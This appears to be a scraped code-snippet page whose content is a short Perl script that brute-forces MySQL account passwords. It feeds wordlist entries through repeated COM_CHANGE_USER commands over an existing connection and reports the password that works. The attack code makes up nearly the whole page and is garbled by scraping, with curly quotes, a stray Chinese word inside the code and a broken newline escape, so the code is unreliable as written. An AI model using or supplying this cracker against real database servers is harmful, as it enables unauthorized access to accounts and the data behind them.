复制use Net::MySQL; $|=1; my $mysql = Net::MySQL->new( hostname => ’192.168.2.3′,快速 database => ‘test’, user => “user”, password => “secret”, debug => 0, ); $crackuser = “crackme”; while(<stdin>) { chomp; $currentpass = $_; $vv = join “”, $crackuser, “\x14″. Net::MySQL::Password->scramble( $currentpass, $mysql->{salt}, $mysql->{client_capabilities} ) . “”; if ($mysql->_execute_command(“\x11″, $vv) ne undef) { print “[*] Cracked! –> $currentpassn”; exit; } } 1.2.3.4.5.6.7.8.9.10.11.12.13.14.15.16.17.18.19.20.21.22.23.24.25.26.27.28.29. |
喜欢
讨厌